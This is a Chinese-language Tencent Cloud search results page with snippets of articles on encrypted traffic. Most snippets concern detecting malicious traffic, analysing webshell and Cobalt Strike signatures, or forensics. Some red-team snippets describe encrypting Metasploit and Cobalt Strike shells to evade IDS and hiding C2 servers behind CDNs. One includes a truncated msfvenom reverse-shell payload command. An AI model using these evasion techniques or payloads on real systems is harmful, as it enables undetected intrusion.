- 综合排序
- 最热优先
- 最新优先
- 来自专栏HACK学习
红队 | 流量加密：使用OpenSSL进行远控流量加密
此时，如果蓝队对攻击流量回溯分析，就可以复现攻击的过程，阻断红队行为，红队就无法进行渗透行为了。所以，我们需要对 shell 中通信的内容进行混淆或加密，实现动态免杀。 在本节中，我们将介绍如何使用 OpenSSL 对 nc、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密，从而绕过IDS或者防护软件分析设备和工具，实现动态免杀 随便追踪一个TCP流进行分析： ? 可见此时看到的信息都是乱码，二者之间的通信经过了加密。 Metasploit 流量加密 实验环境：Kali Linux 攻击 Windows 10 Metasploit 在内网做横行渗透时，这些流量很容易就能被检测出来，所以做好流量加密，就能避免审计工具检测出来 下面开始演示如何对 Metasploit 进行流量加密。
3.8K41发布于 2021-05-14 - 来自专栏网络安全随笔
加密流量识别技术
根据最新统计报告[3]，截止 2017 年 2 月，半数的在线流量均被加密。对于特定类型的流量，加密甚至已成为法律的强制性要求，Gartner 预测到2021 年，83%的流量将被加密。 加密流量识别什么加密与未加密流量，识别出哪些流量属于加密的，剩余则是未加密的识别加密流量所采用的加密协议，如 QUIC，SSL，SSH，IPSec识别流量所属的应用程序，如Skype，Bittorrent ，YouTube，谷歌搜索，淘宝网，凤凰网或中国银行等异常流量识别就是识别出 DDoS，APT，Botnet 等恶意流量内容参数识别就是对应用流量从内容参数上进一步分类，如视频清晰度，图片格式加密流量识别方法概览加密流量识别的首要任务是根据应用需求确定识别对象及识别粒度 在5分钟窗口全部加密流量分析中，我们的准确率为93.2%（make use of all encrypted flows within a 5-minute window）。” 首先，分析百万级的正常流量和恶意流量中 TLS 流、DNS 流和 HTTP 流之间的差异，具体包括未加密的 TLS 握手信息、与目的 IP 地址相关的 DNS 响应信息、相同源 IP地址 5min 窗口内
1.4K10编辑于 2024-03-20 - 来自专栏深度学习|机器学习|歌声合成|语音合成
恶意加密流量- pcap包解析
e5da c850 就是时间戳的高位 fbdc 0800 就是时间戳的低位 2a00 0000 就是数据包的大小，十六进制，转换成十进制，就是42 Byte 2a00 0000 就是抓到的包的大小 ffff ffff ffff 0000 0000 0000 0800 4500 001c 0001 0000 4032 7cad 7f00 0001 7f00 0001 0102 0304 0000 0001 就是数据包，长度一共是 42 Byte
3.3K10编辑于 2022-10-05 - 来自专栏kali blog
kali中对msf流量加密
并没有加密，传输内容容易被检测和发现。 如下，我们简单生成一个Android平台的shell。 加密msf流量 创建证书 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=UK/ST=London/L=London 这样会在桌面生成一个www.bbskali.cn.pem的证书 生成加密的shell msfvenom -p windows/meterpreter/reverse_winhttps LHOST= 发现流量全是密文了。
1.2K50编辑于 2022-04-20 - 来自专栏云计算教程系列
使用Apache或Nginx加密Tomcat流量
在默认情况下安装时，Tomcat服务器与客户端之间的所有通信都是未加密的，包括输入的任何密码或任何敏感数据。我们可以通过多种方式将SSL合并到Tomcat的安装中。 Tomcat本身也能够加密本地连接，我们是不是有点画蛇添足，多此一举呢？ 自签名证书提供了相同类型的加密，但没有域名验证公告。关于自签名证书，你可以参考为Apache创建自签名SSL证书和如何为Nginx创建自签名SSL证书这两篇文章。 现在输入以下命令打开文件： sudo vi /etc/httpd/conf.d/ssl.conf 在VirtualHost配置块内部，添加一个JkMount指令，将该虚拟主机接收的所有流量传递给我们刚定义的 结论 现在你可以在Web服务器代理的帮助下使用SSL加密Tomcat连接。虽然配置单独的Web服务器进程可能会增加服务应用程序所涉及的软件，但它可以显着简化SSL部署保护流量的过程。
2.1K60发布于 2018-08-01 - 来自专栏Tensorbytes
https加密协议流量劫持尝试
由越来越多的网页信息改为HTTPS 加密协议，传统的运营商基于DPI的数据获取和广告营销方式已经不可行，需要一种新的方式采集可用数据。 相对网页版，手机版的加密信息相对少些，因此可以以手机版本作为切入，获取用户部分信息。 实验结果： ?
1.2K20发布于 2019-10-23 - 来自专栏Datawhale专栏
加密流量如何识别与管控？“软硬结合”的网络流量分析方案解决难题！
网络流量分析和管理须精细化 面对这一需求，网络运营商开始引入DPI，来提高网络对报文应用信息的感知能力，让网络流量分析和管理走向精细化。 但随着互联网加密流量逐年攀升，传统DPI方案已很难从报文中直接获取信息并对流量进行分类，必须寻找新的方法来完成协议分类任务。在此背景下，基于人工智能的网络流量分析方案应运而生。 图一 绿网固网DPI解决方案架构 该方案以协助运营商等实现网络可视、可管、可控、可增值为宗旨，一站式地提供了针对加密流量的实时流量特征提取、学习建模、在线推断等功能，能够保障高性能的报文处理，实现高效的智能识别和智能控制能力 为了应对加密流量快速增长所带来的分析难题，DPI方案引入了AI技术，用来补强DPI的功能，却也对平台性能提出了更苛刻要求，因此平台的性能优化刻不容缓。 比如在离线训练层面，实施基于流的业务分类；在线推断阶段，结合初始化时加载的机器学习模型，对每个流进行推断，按流输出推断结果，实现了对加密流量更加高效地采集、处理与分析。
2.3K30编辑于 2022-10-31 - 来自专栏黑伞安全
干货--加密流量APP的渗透准备
又是喜闻乐见的加密流量！搞它。 APP是加壳的，先上frida-dexdump脱壳。 ? ? 这么多有encrypt关键字的，不好找，我们上DDMS： 通过profilling，我们很容易就能定位到加密函数： ? 上JEB，打开我们已经脱掉的dex文件： ? 恩，剩下的就是写脚本了。1. 为方便测试，我们使用burpy，这样就能直接在burpsuite上操作加密解密了。2. 为方便burpy调用加密和解密，需要把hook写成rpc的形式。
1.4K50发布于 2021-01-29 - 来自专栏绿盟科技研究通讯
加密恶意流量优秀检测思路分享
本文介绍一种从加密流量中检测恶意流量的方法，来自清华大学的HawkEye战队，他们在DataCon2020大赛中获得加密恶意流量检测方向的一等奖，该方法的思路具有很好的借鉴作用，希望带给读者一些思考。 如何通过不解密的方式直接从大体量的加密流量中检测出恶意流量，是学术界和工业界一直非常关注的问题，且已经取得了一些研究成果，但大多都是使用单一模型或多个弱监督模型集成学习的方法。 由于数据包体量特征不受数据加密的影响，所以非常适合用于加密流量的检测。 ? 四、小结 本文介绍了一种加密恶意流量检测方法，首先通过对加密流量进行深入分析和特征挖掘，提取了单维/多维特征，然后对包级/流级/主机级流量行为进行分层分析和学习，构建不同的分类器，最终通过多模型投票机制提升了检测效率和性能 加密代理篇： 《初探加密流量识别》 恶意软件篇： 《基于深度学习的物联网恶意软件家族细粒度分类研究》 《关于恶意软件加密流量检测的思考》 加密webshell篇： 《【冰蝎全系列有效】针对HTTPS加密流量的
3.3K20发布于 2021-02-24 - 来自专栏红蓝对抗
流量加密之C2隐藏
所以我们需要加密流量保护CS服务器以免被防守方的安全监控检测出来甚至溯源我们的CS服务器，目前常用的隐藏手段包括域前置、CDN、云函数等，接下来我将介绍这几种常见的隐藏C2的方式。 与云函数类似，域前置技术主要通过CDN节点将流量转发给真实的C2服务器，CDN节点ip可通过识别请求的Host头进行流量转发，利用我们配置域名的高可信度，那么就可以有效躲避针对DLP、agent等流量监测 与此同时我们可以发现外部地址随着每次请求一直变化，因此防守方溯源到我们C2服务器的IP地址几率也就非常低在 CS 中成功执行命令并在受害主机上开启 WireShark 抓包在 WireShark 中跑的都是TLS加密流量 、目的地址为随机的CDN节点，因此无法溯源到我们C2服务器的真实IP0x03 总结通过这段时间针对流量加密的学习，我发现网络攻击与防守总是在不断转换，就像CDN在设计之初主要用于保护网站的真实IP，但作为攻击者我们也可以使用它来保护我们的 C2服务器；而使用OpenSSL生成的RSA证书除了身份验证以外也能够帮助攻击者加密流量、隐藏通信。
13.4K111编辑于 2022-06-21 - 来自专栏FreeBuf
Shellcode与加密流量之间的那些事儿
分组密码 分组密码有很多种，但AES 128可能是目前最适合对在线流量进行加密的算法了，下面给出的是我们对不同种类分组密码的测试结果： ? 虽然这些加密算法都非常优秀，但是他们仍需要类似计数器（CTR）和基于认证的加密模块，其中最适合消息认证码（MAC）的加密算法就是LightMAC了，因为它在实现加密的过程中使用的是相同的分组密码。 置换函数 如果你花了很多时间去测试各种加密算法的话，你最终会发现在构造流密码、分组密码、加密认证模型、加密哈希函数和随机数生成器时，你需要的仅仅只是一个置换函数。 这里我们选择使用Gimli，因为它占用资源最少，并且可以用来构造针对通信流量的加密算法。 异或密码 接下来，我们实现一个针对数据流的简单异或操作（Just For Fun！）。 ，接下来才是加密数据。
94520发布于 2018-09-21 - 来自专栏FreeBuf
USB流量取证分析
通过对该接口流量的监听，我们可以得到键盘的击键记录、鼠标的移动轨迹、磁盘的传输内容等一系列信息。 在Linux中，可以使用lsusb命令，如图所示： ? 我们这里主要演示USB的鼠标流量和键盘流量。 Linux下的分析已经比较多了，下面的环境均在Windows下进行。 一、鼠标流量 1.1 特点分析 USB鼠标流量的规则如下所示： ? 下图是我点击鼠标左键在屏幕上画圆圈的流量： ? 有的鼠标可能协议不是很标准，会导致分析不了。 二、键盘流量 2.1 特点分析 键盘数据包的数据长度为8个字节，击键信息集中在第3个字节，每次击键都会产生一个数据包。 2.2 使用Wireshark捕获和分析 捕获的步骤与上面相似。下面以XCTF的高校战疫比赛中的一道例题（ez_mem&usb）来说明。
3.7K20发布于 2020-04-20 - 来自专栏谢公子学安全
CobaltStrike流量特征分析
2.2 流量包分析 在指令特征分析中，可以看到，在流量包中可以从域名/IP、指令长度（心跳返回包长度）、指令结果长度（返回结果包长度）、指令执行时间（POST包与指令包时间间隔）作为参考依据，对cs流量进行分析 该方向的题目背景为某小区内网感染了使用TLS/SSL加密通信的恶意软件，任务是通过仅观察网络出口处的443端口加密流量，定位感染的IP。 #4.4.2.国内相关检测技术 国内做加密流量检测的一家公司提出了一种《基于机器学习多模型的SSL加密威胁检测技术研究和应用》方法[8]。 strike basics [4] TLS Fingerprinting with JA3 and JA3S [5] JA3 [6] Open Sourcing JA3 [7] DataCon2020加密恶意流量分析 Writeup [8] 基于机器学习多模型的SSL加密威胁检测技术研究和应用 [9] Go语言木马加密通信分析与检测
15.5K30编辑于 2022-01-20 - 来自专栏全栈程序员必看
流量分析入门
前言 个人一直对CTF比赛中MISC中流量分析这一块感兴趣…但好像之前参加的培训没有涉及到。 正好看到了一些相关书籍资料，自己向前辈们学习以后整理一些资料来总结一下（本人是个很菜…还没入门的pwn手） 互联网五层模型 在计算机网络这门课中介绍了OSI模型及互联网五层模型： 在我们使用抓包软件进行流量分析的时候 ，请求网站的路径，内容都看不到 如图，输入ssl我们可以看到如下，https我们可以理解为http+ssl/tls层，ssl/tls的强加密 导出 可以停止后，导出 也可以右键，追踪流，选择TCP 在流量包里找 上课认真听了吗？ 题目提示，是三种不同的流量 在最下面。。。我找了半天。。 ，搜索字符串flag{ 得到flag： 结语 这是一篇偏向入门的流量分析总结，后续随着做题肯定还会继续更深入地写，感谢各位前辈们的指点！
73110编辑于 2022-08-14 - 来自专栏全栈程序员必看
NetFlow流量分析
NetFlow是基于流的流量分析技术，其中每条流主要包含以下字段：源IP地址、目的IP地址、源端口号、目的端口号、IP协议号、服务类型、TCP标记、字节数、接口号等。 NetFlow是一个轻量级的分析工具，他只读取了报文中的一些重要字段不包含原始数据，并不属于全流量分析。 NetFlow网络异常流量分析 NetFlow流记录的主要信息和功能： who：源IP地址 when：开始时间、结束时间 where：源IP地址、源端口号、目标IP地址、目标端口号（访问路径） what ：协议类型、目标IP地址、目标端口（什么应用） why：基线、阈值、特征（是否正常） how：流量大小、数据包数量（访问情况） 一个NetFlow流定义为在一个源IP地址和目标IP地址间传输的单向数据包流 常见协议名称和协议号对应关系 协议号 协议 1 ICMP 2 IGMP 6 TCP 17 UDP 常见的网络攻击流量 SYN Flood攻击 SYN Flood攻击是通过半开的TCP连接，占用系统资源
1.4K10编辑于 2022-08-23 - 来自专栏红蓝对抗
哥斯拉流量分析
这是webshell流量分析哥斯拉篇 朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦 原文链接:先知 https://xz.aliyun.com /t/14380 check流量 当下的分析会建立php5.3使用evalXOR解码器 当点击测试连接他会发送返回三组包 第一个包 第二个包 第三个包 其实第一个特征已经出来了，不难看出在PHP_EVAL_XOR_BASE64 } } } 来简单分析一下 pass的内容为客户端设置，传输过去的中间木马会将key作为post输入接受传参后通过encode函数与密钥XOR加密后传入data变量，if判断_ ( 试使用第二个包来解密 DlMRWA1cL1gOVDc2MjRhRwZFEQ== base64 SX \/XT7624aGE 而后进行异或解码，直接复用 methhdNametest check包分析 返回包 符合预期 总结 哥斯拉无论是流量还是shell的实现方式都非常不同于冰蝎与蚁剑，他不仅功能强大，而且在evalXOR解码器下还兼容一句话shell，成也兼容，败也兼容，哥斯拉在使用evalXOR
1.3K10编辑于 2024-05-06 - 来自专栏OneMoreThink的专栏
应急靶场(10)：【玄机】流量特征分析-蚁剑流量分析
一、木马的连接密码是多少 Wireshark打开流量包后，搜索http查看HTTP请求，发现6个访问1.php的请求。 选中第一个HTTP请求，追踪HTTP流。
1.7K10编辑于 2024-10-15 - 来自专栏一己之见安全团队
浅尝流量分析
流量分析是安服仔们必备的一个技能，up其实接触的全流量设备不多，也就用过科莱的，产品级的全流量设备最大的特征就是简化了很多查询语句和查询条件，以及优化了界面、逻辑等，这次虽然是用小鲨鱼来展示，就不具体到查询语句上了 冰蝎马流量特征研究 ①先挂上冰蝎马随便执行点命令（没额外做流量加密，只是简单的静态加密）： ②筛出数据包： ③把加密内容扒拉下来先AES解密（抄了一下作业查了一下偏移量） ④显而易见还要再进行一次base64 以上两个例子简单的给出一点思考空间而已，毕竟只是初入流量分析，更重要的是学会怎么使用设备，以下就大致给出流量分析的步骤供各位师傅参考。 追踪数据流，分析数据 对筛选出的可疑数据包进行分析，主要是以告警为前提，还要进行一定的资料收集（毕竟大部分师傅不可能把所有漏洞背的下来嘛），根据具体利用方式反推攻击过程，以特征点为标记，判断是否能把所有标记收集齐全 大总结： 总的来说全流量分析设备确实是个好东西，初入浅尝流量分析基本是以健全的安全拓扑为前提，综合利用而已，主要为掌握攻击行为的具体数据流向和特征，这里小师傅们想深度联系的推荐去各大靶场找流量分析的包打一打
38610编辑于 2024-05-17 - 来自专栏金融安全
加密流量分析在金融科技领域的高级安全与反欺诈应用
第一部分：加密流量分析的技术基础本部分将解构加密流量分析（ETA）的技术基础，阐明如何在不解密流量载荷的前提下实现网络可见性。 报告将详细介绍作为分析原始材料的具体数据点，并引入将这些数据转化为可操作情报的机器学习技术。解构加密会话：后解密时代的元数据加密技术的普及与安全盲点据统计，当前超过90%的互联网流量是加密的。 这些元数据包括TLS版本、支持的密码套件（CipherSuites）、扩展（Extensions）以及服务器证书信息，它们共同构成了加密流量分析的基础特征。 这个案例清晰地展示了将指纹技术与流分析相结合，能够为安全分析提供更为丰富和立体的上下文信息。智能层：将机器学习应用于加密流量AI/ML的必要性面对海量、高维度的网络元数据，人工分析已无可能。 ETA通过分析会话时长、周期性以及数据包大小等流特征，能够高效地检测到这种行为，即便流量是加密的。关联网络与链上数据以实现合规这是ETA在加密货币领域最高级的应用。
53910编辑于 2026-01-05 - 来自专栏绿盟科技研究通讯
关于恶意软件加密流量检测的思考
随着TLS的使用越来越普遍、有效证书的获取越来越廉价和容易，使用TLS的恶意软件也会越来越多，所以检测出恶意软件的TLS加密通信流量是非常必要的。 帝国理工大学的Olivier Roques公开的报告[1]中对数据集[2]的特征分布进行了分析，该数据集包含一万多条恶意流和两万多条良性流，良性流量数据主要来自2019年5月到6月Lastline的企业办公网络环境 URL: https://www.stratosphereips.org/datasets-malware 更多加密流量相关文章，欢迎点击阅读相关文章。 加密代理篇： 《初探加密代理识别》 恶意软件篇： 《基于深度学习的物联网恶意软件家族细粒度分类研究》 加密webshell篇： 《【冰蝎全系列有效】针对HTTPS加密流量的webshell检测研究》 《 包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。
2.2K30发布于 2021-01-27
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号